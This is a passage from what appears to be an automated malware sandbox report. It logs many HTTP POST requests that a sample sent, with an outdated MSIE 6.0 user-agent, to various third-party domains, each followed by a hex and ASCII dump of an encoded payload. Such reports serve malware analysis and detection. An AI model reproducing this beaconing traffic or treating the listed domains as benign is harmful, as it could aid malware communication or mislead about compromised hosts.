32 50 6a 52 57 32 33 6a 52 4d 4f 74 7a 39 4b 33 62 4d 4a 73 55 64 33 69 79 6d 64 2f 4c 34 31 5a 43 71 37 38 59 6f 55 53 34 36 32 54 39 31 36 54 43 30 62 37 59 6c 68 63 65 78 51 31 7a 55 64 43 30 6d 68 53 49 44 2f 70 47 36 66 6c 42 30 65 59 57 51 53 4f 33 64 37 38 7a 6b 77 2f 77 73 55 74 78 44 6e 43 62 77 30 4d 36 63 5a 6e 50 34 55 52 4e 65 35 48 2b 42 4b 66 4f 47 74 56 61 4a 6f 2b 6a 65 4d 46 6b 42 74 6e 34 68 4a 52 76 62 55 42 68 62 63 47 46 6c 42 4e 48 78 55 6f 71 65 69 42 75 37 54 63 56 72 51 71 43 63 56 52 57 72 30 79 34 2b 73 4c 53 49 52 4b 44 42 38 49 68 79 4d 2f 72 48 37 42 4d 49 4b 32 78 77 34 5a 35 58 33 51 69 4f 61 64 65 76 63 77 6f 35 61 75 7a 47 63 3d Data Ascii: 1h1Nt622SguU3mULpCjoambvIBabY8GpMULl5+A6MlCEK7SLQ7TslM20C//yiuNCuVAb2X1v89wuooxLubOQLNFxzqBrxWTZrI9g3aV9alx84rnRzI7gYI5bk9HsnU7kBexsYnBGbj1yrx9WjCey/dU/xdn7/JUA+Oc0PFJA1feOo0wt1khE5D2eM7LVqCQMHZjKB4KGTO51+pfOyQdKRxvdx3OQq1bidHDJCdTFpS9nMJAyrTYKC+yI7OeZzYhbczK2ru7Z7Q19LVDaxE4X1x88oztSd27FaqZQlcZP/Gi/ZI7BVz2W2PjRW23jRMOtz9K3bMJsUd3iymd/L41ZCq78YoUS462T916TC0b7YlhcexQ1zUdC0mhSID/pG6flB0eYWQSO3d78zkw/wsUtxDnCbw0M6cZnP4URNe5H+BKfOGtVaJo+jeMFkBtn4hJRvbUBhbcGFlBNHxUoqeiBu7TcVrQqCcVRWr0y4+sLSIRKDB8IhyM/rH7BMIK2xw4Z5X3QiOadevcwo5auzGc=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ftchat.comCache-Control: no-cacheData Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 66 74 47 73 33 43 37 55 2b 7a 4a 56 57 76 6d 6b 56 33 41 75 76 2b 73 31 51 4a 36 54 39 6e 4e 72 74 44 78 57 76 67 6c 2b 63 32 34 4f 6a 49 6d 37 34 4e 48 33 48 76 5a 39 72 6b 6a 79 59 58 7a 4e 39 59 46 36 56 65 66 4e 6f 30 36 76 37 58 57 78 51 52 34 61 41 62 54 53 43 38 6c 79 44 79 4d 38 73 43 56 73 4b 76 55 73 45 5a 64 54 36 49 52 76 75 4b 54 5a 63 46 47 76 67 64 45 77 50 75 30 33 2f 4f 61 41 45 74 66 4a 64 7a 52 46 49 77 4e 4e 36 46 34 71 71 55 45 67 2b 6c 31 5a 6b 4b 30 58 6b 70 6f 52 6b 65 39 51 36 6c 58 4c 6b 76 65 35 37 75 41 31 4e 71 5a 53 4e 72 6e 4a 4f 4a 44 69 58 51 30 6e 36 46 67 78 66 65 73 62 6b 77 5a 48 36 4e 50 68 55 78 51 70 66 34 37 71 66 30 33 49 37 64 76 41 3d 3d Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.alteor.clCache-Control: no-cacheData Raw: 37 54 49 51 74 55 72 30 55 67 76 42 6c 35 4f 71 72 64 63 30 75 41 30 45 44 71 66 36 59 62 72 6c 48 74 4e 65 41 44 76 63 57 45 43 59 55 34 6a 71 31 36 63 74 2f 44 6f 78 2f 4c 37 5a 6e 52 39 4f 71 79 4d 31 54 6f 7a 75 75 34 6c 62 39 44 30 4a 52 51 7a 7a 59 6a 6b 78 4a 66 43 7a 62 75 43 31 73 57 37 4f 36 66 47 65 67 79 73 2b 52 32 76 39 36 61 71 42 79 43 6a 70 4a 57 43 76 62 48 48 30 4d 4c 4e 6b 6d 73 47 70 54 53 62 7a 4b 42 79 36 2f 4b 58 74 41 5a 64 6a 4c 47 75 6f 4d 61 48 67 70 49 68 4e 51 35 4f 68 70 42 63 70 68 42 4b 70 4b 6f 35 63 6c 4f 4c 66 4f 33 4e 43 52 61 53 70 75 68 69 49 70 62 6a 4a 4a 77 39 63 34 33 59 35 58 48 62 2f 78 70 56 77 72 51 63 68 76 55 49 43 35 69 77 55 35 36 7a 51 6b 6c 56 32 72 39 66 6b 43 31 75 33 2b 47 4f 5a 32 6e 53 54 6f 63 5a 32 30 43 4f 48 55 35 71 69 67 53 39 35 4b 30 39 52 57 79 41 4b 32 79 4b 42 39 32 38 61 52 6b 59 48 6a 65 34 78 52 4d 66 71 42 2b 49 6c 53 71 4e 2f 6d 50 36 79 6e 4d 37 35 66 31 67 65 78 77 6b 43 48 75 31 53 4f 6d 68 2b 34 6b 59 49 68 41 44 39 35 57 48 69 32 4a 31 75 73 6c 55 56 34 5a 44 79 79 72 56 56 57 2f 34 49 66 46 75 35 5a 66 57 34 51 75 34 63 6c 75 66 7a 4a 56 46 36 30 32 4c 75 6a 6d 41 7a 4c 32 79 67 4e 74 63 4b 63 45 49 75 73 7a 7a 5a 50 71 57 6c 75 55 59 49 56 4a 45 71 79 74 76 70 77 55 6c 66 73 33 54 42 32 79 6a 34 5a 69 72 46 44 64 6b 69 55 30 57 44 31 65 72 35 45 6b 58 4e 6b 48 4d 34 2f 2f 79 6e 77 47 4c 4a 49 34 49 52 75 4f 4f 74 72 41 38 44 69 50 56 43 62 75 43 76 73 66 41 44 64 71 49 6e 70 65 30 50 6d 64 4f 61 32 48 4a 54 46 56 39 71 70 63 63 71 55 52 35 71 4d 62 38 41 4c 4d 66 55 79 73 32 74 48 7a 58 36 45 43 65 35 4e 2f 38 3d Data Ascii: 7TIQtUr0UgvBl5Oqrdc0uA0EDqf6YbrlHtNeADvcWECYU4jq16ct/Dox/L7ZnR9OqyM1Tozuu4lb9D0JRQzzYjkxJfCzbuC1sW7O6fGegys+R2v96aqByCjpJWCvbHH0MLNkmsGpTSbzKBy6/KXtAZdjLGuoMaHgpIhNQ5OhpBcphBKpKo5clOLfO3NCRaSpuhiIpbjJJw9c43Y5XHb/xpVwrQchvUIC5iwU56zQklV2r9fkC1u3+GOZ2nSTocZ20COHU5qigS95K09RWyAK2yKB928aRkYHje4xRMfqB+IlSqN/mP6ynM75f1gexwkCHu1SOmh+4kYIhAD95WHi2J1uslUV4ZDyyrVVW/4IfFu5ZfW4Qu4clufzJVF602LujmAzL2ygNtcKcEIuszzZPqWluUYIVJEqytvpwUlfs3TB2yj4ZirFDdkiU0WD1er5EkXNkHM4//ynwGLJI4IRuOOtrA8DiPVCbuCvsfADdqInpe0PmdOa2HJTFV9qpccqUR5qMb8ALMfUys2tHzX6ECe5N/8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.depalo.comCache-Control: no-cacheData Raw: 71 67 57 34 46 68 34 67 56 67 73 34 46 62 52 72 61 59 69 49 51 77 45 6e 52 6d 39 65 76 4c 78 79 4d 6a 4c 71 43 64 47 6f 62 68 45 4b 63 65 46 38 43 45 6a 67 6d 78 58 4c 6b 69 64 64 37 54 6e 5a 34 55 6f 57 47 6f 42 65 43 76 78 5a 34 43 72 44 6c 35 78 77 39 54 4c 59 34 62 46 53 2b 37 45 68 51 64 61 61 41 4e 6e 77 36 37 73 55 5a 4d 59 41 4b 54 30 4a 54 65 5a 42 62 39 74 6c 45 57 58 46 65 62 4c 4b 76 7a 6a 62 45 35 6b 65 78 6d 43 6b 63 30 6a 59 5a 7a 65 76 2f 6c 2f 61 4b 50 58 77 79 6c 6e 41 67 41 2f 55 5a 76 6b 47 77 6a 73 66 49 53 65 5a 55 37 35 6d 2f 52 74 72 78 6a 6d 39 66 6c 4f 45 5a 73 38 76 68 68 49 4b 63 71 78 2f 31 33 51 34 4e 69 52 69 74 4e 6e 75 66 42 30 68 6a 48 31 6c 72 6c 51 6b 42 59 30 34 68 33 48 36 76 6d 43 33 73 6a 68 37 4c 41 63 6c 33 76 35 49 4f 49 6f 6b 64 31 72 68 57 6c 2f 74 6a 52 36 6b 6f 6d 48 42 78 30 59 68 77 79 4c 57 32 78 66 37 70 74 64 44 57 49 59 74 4f 64 61 35 4b 79 76 73 71 72 2b 58 4c 39 4e 41 75 6d 35 55 46 74 78 4c 4b 4f 38 46 7a 46 63 4c 7a 5a 47 53 4c 6f 41 75 4e 69 41 76 31 6a 7a 4b 31 36 2f 4d 65 71 78 54 47 75 2b 39 76 55 6f 58 6c 4a 53 61 74 72 6b 6c 4e 64 47 6a 6b 43 51 78 47 59 78 42 2b 77 53 71 6a 53 4f 48 33 31 58 35 47 65 33 30 76 78 55 66 66 72 6a 5a 56 6d 31 48 54 47 47 7a 2f 31 46 30 71 53 72 4d 45 54 46 75 41 30 6d 36 78 34 77 77 5a 65 72 58 71 7a 62 65 50 62 31 65 67 2b 45 36 4b 4b 69 53 35 77 49 62 5a 63 2b 70 56 30 75 6c 6c 72 59 78 61 4a 77 70 6d 77 51 33 4f 49 43 48 6a 7a 57 69 42 30 71 46 61 69 62 73 67 70 36 2b 44 32 51 64 30 69 68 32 68 53 76 5a 57 6e 4b 51 44 4d 37 67 49 53 43 2b 4a 31 6a 57 57 48 33 43 52 37 5a 6a 2b 4c 49 2b 64 52 5a 64 4e 51 6e 6b Data Ascii: qgW4Fh4gVgs4FbRraYiIQwEnRm9evLxyMjLqCdGobhEKceF8CEjgmxXLkidd7TnZ4UoWGoBeCvxZ4CrDl5xw9TLY4bFS+7EhQdaaANnw67sUZMYAKT0JTeZBb9tlEWXFebLKvzjbE5kexmCkc0jYZzev/l/aKPXwylnAgA/UZvkGwjsfISeZU75m/Rtrxjm9flOEZs8vhhIKcqx/13Q4NiRitNnufB0hjH1lrlQkBY04h3H6vmC3sjh7LAcl3v5IOIokd1rhWl/tjR6komHBx0YhwyLW2xf7ptdDWIYtOda5Kyvsqr+XL9NAum5UFtxLKO8FzFcLzZGSLoAuNiAv1jzK16/MeqxTGu+9vUoXlJSatrklNdGjkCQxGYxB+wSqjSOH31X5Ge30vxUffrjZVm1HTGGz/1F0qSrMETFuA0m6x4wwZerXqzbePb1eg+E6KKiS5wIbZc+pV0ullrYxaJwpmwQ3OICHjzWiB0qFaibsgp6+D2Qd0ih2hSvZWnKQDM7gISC+J1jWWH3CR7Zj+LI+dRZdNQnk
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.elpro.siCache-Control: no-cacheData Raw: 31 6a 62 6a 66 76 7a 55 34 46 55 59 65 67 2f 59 70 79 78 53 2b 6f 39 52 5a 77 43 55 72 64 61 56 38 50 32 64 74 6b 46 74 6c 5a 32 65 46 67 4b 70 66 78 71 48 61 6e 75 39 69 2b 4d 58 45 2f 71 56 68 43 53 72 77 79 49 56 31 49 73 63 4c 35 67 49 63 5a 41 39 63 50 65 62 61 4d 32 57 78 45 72 44 73 66 50 78 31 4a 46 53 4c 6f 33 6e 42 50 6e 36 55 55 66 2f 4e 39 53 71 41 62 61 46 7a 38 4a 6d 73 50 2f 61 4e 32 59 31 68 31 72 4b 74 31 74 65 65 5a 6d 74 2f 57 45 33 55 59 43 43 36 75 39 5a 2b 36 48 7a 44 42 4e 30 54 44 65 71 34 6f 55 4f 68 50 34 74 66 61 4a 65 74 71 65 46 43 71 52 35 51 74 38 31 59 45 58 7a 62 70 6f 58 4b 68 50 76 32 2f 64 78 64 52 44 52 53 4b 52 72 4a 47 54 64 33 70 6d 38 2b 41 45 4a 46 35 4f 53 74 31 6a 68 6e 4e 38 4e 42 72 51 39 52 59 69 42 58 31 34 46 32 6f 31 59 42 45 6f 5a 33 63 6c 46 59 67 59 42 77 4e 43 6e 42 74 30 42 6d 43 70 53 57 41 4d 57 55 68 57 2b 71 78 49 4f 78 74 4a 31 50 65 4c 74 73 50 31 72 59 4d 5a 6a 2b 44 56 4f 46 37 65 76 34 74 4a 4e 5a 72 5a 58 58 41 59 56 69 49 77 6a 7a 35 75 51 77 41 38 44 48 65 46 4b 74 6d 77 31 6b 72 61 5a 62 35 34 54 4a 43 49 66 4c 6d 36 39 74 72 45 4e 74 72 49 57 6a 48 42 6d 39 7a 42 6d 75 67 55 4e 66 4a 6b 42 61 51 37 69 73 38 59 6b 72 74 4b 6f 42 43 69 52 2b 38 2f 2f 4b 32 36 53 52 78 38 68 73 53 65 71 63 57 66 32 77 46 38 47 42 67 74 59 56 4a 72 4a 44 46 48 47 69 6a 55 46 56 48 53 51 37 34 38 77 42 4e 70 57 74 4d 47 43 70 53 64 41 44 2b 4b 6f 43 78 30 67 41 65 51 68 45 6c 31 72 70 59 7a 2b 61 4e 45 4a 46 65 2b 45 65 48 50 36 6d 76 51 61 62 37 4a 6c 30 38 37 35 75 66 41 79 33 63 58 31 43 4f 4a 44 57 43 34 4a 49 78 33 79 6b 78 6c 30 74 72 53 7a 56 45 33 4e 6d 74 4d 3d Data Ascii: 1jbjfvzU4FUYeg/YpyxS+o9RZwCUrdaV8P2dtkFtlZ2eFgKpfxqHanu9i+MXE/qVhCSrwyIV1IscL5gIcZA9cPebaM2WxErDsfPx1JFSLo3nBPn6UUf/N9SqAbaFz8JmsP/aN2Y1h1rKt1teeZmt/WE3UYCC6u9Z+6HzDBN0TDeq4oUOhP4tfaJetqeFCqR5Qt81YEXzbpoXKhPv2/dxdRDRSKRrJGTd3pm8+AEJF5OSt1jhnN8NBrQ9RYiBX14F2o1YBEoZ3clFYgYBwNCnBt0BmCpSWAMWUhW+qxIOxtJ1PeLtsP1rYMZj+DVOF7ev4tJNZrZXXAYViIwjz5uQwA8DHeFKtmw1kraZb54TJCIfLm69trENtrIWjHBm9zBmugUNfJkBaQ7is8YkrtKoBCiR+8//K26SRx8hsSeqcWf2wF8GBgtYVJrJDFHGijUFVHSQ748wBNpWtMGCpSdAD+KoCx0gAeQhEl1rpYz+aNEJFe+EeHP6mvQab7Jl0875ufAy3cX1COJDWC4JIx3ykxl0trSzVE3NmtM=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.rs-ag.comCache-Control: no-cacheData Raw: 2f 71 39 77 75 4c 55 44 36 31 58 55 68 53 61 31 48 45 47 46 6d 61 36 6c 59 6f 64 44 57 56 6a 4c 75 52 76 37 67 6a 41 58 39 2b 5a 38 44 46 6b 76 37 5a 6b 36 41 4a 51 62 67 36 6b 6c 72 6c 2b 76 72 30 70 74 2b 58 67 75 64 31 2f 6d 4f 6e 45 43 54 2f 61 34 63 77 6e 6b 57 75 30 64 45 4e 7a 72 47 7a 52 53 77 42 41 78 78 73 39 65 6e 47 63 32 35 61 58 53 31 78 36 47 73 41 62 6d 69 2b 41 37 52 49 75 73 5a 53 50 6f 51 56 77 70 43 77 46 48 54 75 62 6e 42 56 59 6e 5a 63 6c 71 4a 71 55 72 34 69 6e 31 77 69 77 78 31 79 53 71 55 70 50 31 72 46 50 65 66 45 51 70 37 52 77 63 38 66 50 54 6a 78 2f 70 49 63 55 33 77 36 6c 67 57 31 38 6a 31 35 6a 47 74 32 56 43 39 70 46 53 4e 44 69 65 61 35 41 74 6a 67 38 2f 72 49 55 79 46 67 33 6f 2f 67 4d 45 72 6a 52 79 4f 47 75 4d 43 77 73 76 52 46 72 69 51 58 6e 57 6e 63 50 57 59 75 6f 6b 51 41 34 54 6a 47 69 32 55 49 64 5a 33 73 70 77 75 51 58 66 2b 5a 63 76 57 5a 48 7a 49 52 57 75 51 7a 6c 71 67 38 51 75 5a 36 52 75 65 59 64 62 31 35 6c 57 31 78 6b 65 57 55 7a 6d 6c 4f 35 77 6b 38 78 4e 75 73 41 32 56 39 79 41 71 35 75 4b 61 67 54 52 53 31 2b 39 38 38 49 50 6e 50 4e 67 6e 47 52 59 61 66 30 66 45 6f 54 37 36 59 75 46 33 68 2f 78 65 67 35 4b 32 58 2b 70 32 31 30 49 53 49 58 4d 45 4b 5a 48 51 53 2f 63 71 42 30 6e 2b 42 4b 65 65 6e 4c 6d 47 66 44 66 51 4b 4f 59 38 67 76 59 4b 34 54 57 62 62 39 43 52 30 4e 62 46 4a 6d 4c 6d 52 72 72 38 6d 53 4a 59 38 41 6a 6c 48 66 64 4e 59 6c 4e 53 49 63 56 79 75 5a 55 71 73 7a 77 66 76 66 4b 73 39 78 45 48 31 58 30 30 34 4a 34 35 78 74 55 74 4f 33 73 2b 74 37 34 6d 39 4f 43 44 6a 70 6a 30 57 55 74 49 6b 58 53 36 63 55 70 54 58 63 72 2f 33 73 74 4e 64 5a 5a 55 53 65 5a 53 72 36 66 6e 70 45 51 6c 66 70 36 51 66 30 33 6d 61 64 63 2b 71 50 33 4d 6d 31 70 48 67 73 76 4a 7a 35 69 6a 6e 2b 61 68 53 30 3d Data Ascii: /q9wuLUD61XUhSa1HEGFma6lYodDWVjLuRv7gjAX9+Z8DFkv7Zk6AJQbg6klrl+vr0pt+Xgud1/mOnECT/a4cwnkWu0dENzrGzRSwBAxxs9enGc25aXS1x6GsAbmi+A7RIusZSPoQVwpCwFHTubnBVYnZclqJqUr4in1wiwx1ySqUpP1rFPefEQp7Rwc8fPTjx/pIcU3w6lgW18j15jGt2VC9pFSNDiea5Atjg8/rIUyFg3o/gMErjRyOGuMCwsvRFriQXnWncPWYuokQA4TjGi2UIdZ3spwuQXf+ZcvWZHzIRWuQzlqg8QuZ6RueYdb15lW1xkeWUzmlO5wk8xNusA2V9yAq5uKagTRS1+988IPnPNgnGRYaf0fEoT76YuF3h/xeg5K2X+p210ISIXMEKZHQS/cqB0n+BKeenLmGfDfQKOY8gvYK4TWbb9CR0NbFJmLmRrr8mSJY8AjlHfdNYlNSIcVyuZUqszwfvfKs9xEH1X004J45xtUtO3s+t74m9OCDjpj0WUtIkXS6cUpTXcr/3stNdZZUSeZSr6fnpEQlfp6Qf03madc+qP3Mm1pHgsvJz5ijn+ahS0=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.credo.edu.plCache-Control: no-cacheData Raw: 68 34 4e 72 49 53 38 63 35 6c 57 44 78 30 41 50 54 68 76 77 43 44 69 71 6f 52 46 46 58 44 7a 34 30 78 62 30 37 6f 57 51 59 42 59 38 46 65 31 74 61 6f 47 62 62 44 61 73 63 56 4e 4d 69 76 69 65 51 79 49 38 65 74 4b 30 6b 74 52 70 31 6d 4f 30 62 52 6e 51 6c 6c 42 54 4b 6d 4f 79 5a 49 72 42 2b 37 6c 5a 47 77 76 79 48 65 51 47 7a 66 33 45 4c 46 47 76 68 46 37 32 69 49 6a 6d 68 51 46 39 47 78 31 2f 39 4a 51 42 53 55 74 52 63 4a 52 4b 33 77 6e 32 34 54 75 64 7a 4a 47 63 50 30 50 69 49 73 54 6f 34 6e 68 38 71 66 37 51 77 6d 68 74 30 63 35 6a 6c 7a 77 75 37 75 36 6f 54 78 6c 30 30 6b 6f 74 4f 65 4f 61 52 62 52 44 6f 51 36 73 2f 77 30 5a 68 30 6b 42 74 37 75 77 4b 32 6d 2f 47 6c 4f 31 51 66 6b 7a 62 77 35 52 75 33 33 36 4d 75 69 44 42 35 6d 72 4f 47 38 4e 5a 6e 66 4d 51 6d 4b 6c 64 45 55 71 35 42 6e 4e 59 77 36 34 36 74 77 4f 67 74 37 69 44 64 32 4f 41 4a 58 76 38 6d 43 46 4a 65 7a 6d 59 34 52 4e 58 74 33 68 38 53 77 43 46 65 54 55 2f 7a 47 6a 50 42 46 57 37 53 31 46 55 50 31 4c 6e 48 50 7a 6b 55 64 73 42 31 4f 6a 59 2b 53 2f 43 33 5a 50 2b 2b 70 70 32 6c 62 47 30 77 74 54 4d 4f 49 7a 55 37 34 39 4d 57 68 72 4b 39 53 74 2b 5a 44 4a 6c 67 5a 2f 47 56 53 4a 42 2f 47 51 32 39 50 4f 38 68 56 75 52 66 63 31 59 46 6c 68 63 43 74 30 69 4e 36 46 50 46 72 6d 48 7a 57 78 55 79 49 44 32 49 66 7a 73 46 51 5a 54 50 64 4c 32 41 76 63 33 6d 6c 36 36 47 6d 7a 79 63 36 6a 63 63 2b 6b 6a 38 59 47 31 47 39 45 63 64 43 52 45 75 74 75 48 77 7a 64 76 59 67 59 34 6f 6d 2b 56 55 2f 59 52 73 49 63 62 58 73 6e 62 79 44 52 44 77 5a 48 36 58 4c 30 53 6f 6e 78 46 62 71 34 41 6c 56 48 76 6d 59 31 50 4a 38 66 58 2b 47 4b 6a 5a 49 3d Data Ascii: h4NrIS8c5lWDx0APThvwCDiqoRFFXDz40xb07oWQYBY8Fe1taoGbbDascVNMivieQyI8etK0ktRp1mO0bRnQllBTKmOyZIrB+7lZGwvyHeQGzf3ELFGvhF72iIjmhQF9Gx1/9JQBSUtRcJRK3wn24TudzJGcP0PiIsTo4nh8qf7Qwmht0c5jlzwu7u6oTxl00kotOeOaRbRDoQ6s/w0Zh0kBt7uwK2m/GlO1Qfkzbw5Ru336MuiDB5mrOG8NZnfMQmKldEUq5BnNYw646twOgt7iDd2OAJXv8mCFJezmY4RNXt3h8SwCFeTU/zGjPBFW7S1FUP1LnHPzkUdsB1OjY+S/C3ZP++pp2lbG0wtTMOIzU749MWhrK9St+ZDJlgZ/GVSJB/GQ29PO8hVuRfc1YFlhcCt0iN6FPFrmHzWxUyID2IfzsFQZTPdL2Avc3ml66Gmzyc6jcc+kj8YG1G9EcdCREutuHwzdvYgY4om+VU/YRsIcbXsnbyDRDwZH6XL0SonxFbq4AlVHvmY1PJ8fX+GKjZI=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.valdal.comCache-Control: no-cacheData Raw: 71 34 44 52 45 34 43 6f 5a 67 74 56 61 45 5a 76 55 34 46 49 4c 4c 4e 6e 6f 77 35 6f 59 61 49 44 74 4f 65 71 35 74 66 54 6c 39 4e 4d 2b 4b 62 68 67 33 51 44 74 42 4b 41 59 4a 6e 33 77 6c 4a 4b 73 51 34 33 64 43 74 76 6a 4a 54 47 59 71 5a 76 66 41 4f 46 51 76 49 47 34 74 59 55 74 70 54 50 7a 39 72 45 39 7a 62 46 33 37 6b 48 73 2b 51 4a 37 59 4a 79 6f 71 6f 6a 36 75 48 59 6b 62 6f 33 45 45 66 52 70 79 76 59 42 55 6d 45 74 6e 74 31 32 49 64 35 44 37 49 52 44 59 33 6c 64 49 56 42 38 51 2f 4a 45 34 62 53 6f 44 67 5a 54 31 59 50 57 7a 4a 54 49 77 57 42 74 75 65 6a 6d 6b 75 62 4c 5a 52 76 31 49 36 78 79 4f 4a 59 72 74 4f 31 69 50 47 2b 44 41 78 31 35 43 75 4d 4e 4d 39 75 48 73 46 47 42 30 33 4d 61 6a 36 4d 70 68 7a 61 50 68 41 69 4f 79 42 51 73 51 52 63 45 71 48 56 48 30 54 69 76 38 75 68 42 65 55 4b 4e 7a 58 79 76 68 4d 4d 50 36 72 4a 4f 64 35 54 45 34 49 68 59 41 61 65 53 68 52 55 48 76 43 2f 6e 5a 59 2f 66 72 78 75 6d 6c 52 66 4e 55 78 78 42 65 75 71 48 64 75 41 4a 75 69 73 44 79 2b 56 49 6c 6b 41 64 74 6e 2b 42 62 64 6e 7a 41 31 5a 64 32 39 37 55 4d 4b 6a 42 7a 56 58 6c 41 55 56 34 50 57 38 47 45 54 70 6b 4d 61 51 7a 4b 51 46 33 48 71 67 44 49 68 69 4a 32 4d 70 4f 4c 50 36 53 74 2f 4a 6e 33 68 73 66 57 36 57 35 48 33 72 7a 79 57 37 4f 4e 6d 6a 4f 53 7a 57 6e 66 5a 63 37 54 4b 4f 55 72 7a 57 68 38 57 30 56 39 6f 35 45 73 30 7a 57 42 4a 7a 76 49 74 48 7a 50 35 50 67 44 59 7a 71 74 71 7a 6c 66 45 55 61 57 44 38 37 35 74 67 61 4b 6e 43 61 4c 44 2f 43 50 38 6b 77 54 77 59 5a 74 78 67 2f 54 2f 35 47 33 67 54 56 56 4a 74 44 72 6a 4b 66 4b 52 65 36 42 57 55 66 48 48 6d 45 42 4b 36 69 38 31 31 4d 52 59 77 4c 4d 63 2f 59 41 4d 67 4f 38 58 6b 44 58 61 2b 74 69 38 59 6c 4a 30 42 6b 38 51 4d 66 63 33 53 35 77 3d 3d Data Ascii: q4DRE4CoZgtVaEZvU4FILLNnow5oYaIDtOeq5tfTl9NM+Kbhg3QDtBKAYJn3wlJKsQ43dCtvjJTGYqZvfAOFQvIG4tYUtpTPz9rE9zbF37kHs+QJ7YJyoqoj6uHYkbo3EEfRpyvYBUmEtnt12Id5D7IRDY3ldIVB8Q/JE4bSoDgZT1YPWzJTIwWBtuejmkubLZRv1I6xyOJYrtO1iPG+DAx15CuMNM9uHsFGB03Maj6MphzaPhAiOyBQsQRcEqHVH0Tiv8uhBeUKNzXyvhMMP6rJOd5TE4IhYAaeShRUHvC/nZY/frxumlRfNUxxBeuqHduAJuisDy+VIlkAdtn+BbdnzA1Zd297UMKjBzVXlAUV4PW8GETpkMaQzKQF3HqgDIhiJ2MpOLP6St/Jn3hsfW6W5H3rzyW7ONmjOSzWnfZc7TKOUrzWh8W0V9o5Es0zWBJzvItHzP5PgDYzqtqzlfEUaWD875tgaKnCaLD/CP8kwTwYZtxg/T/5G3gTVVJtDrjKfKRe6BWUfHHmEBK6i811MRYwLMc/YAMgO8XkDXa+ti8YlJ0Bk8QMfc3S5w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tvtools.fiCache-Control: no-cacheData Raw: 58 71 5a 43 37 54 35 49 6b 56 57 51 75 57 76 67 43 56 4b 6d 68 53 45 67 76 31 6e 2b 42 74 78 48 55 70 54 42 6a 62 76 68 6e 77 76 49 43 56 76 54 44 45 50 53 5a 71 5a 36 6e 77 44 69 46 72 2b 4f 45 74 6c 37 47 6f 37 4b 7a 74 36 54 33 51 31 48 37 6c 4e 66 53 71 74 34 39 64 34 36 62 4c 77 4c 66 45 7a 61 70 71 41 52 6c 65 77 43 6e 31 64 4c 31 48 48 4e 42 69 6b 64 39 64 6c 32 46 4d 6a 56 59 44 66 78 46 71 35 63 76 7a 39 54 79 52 46 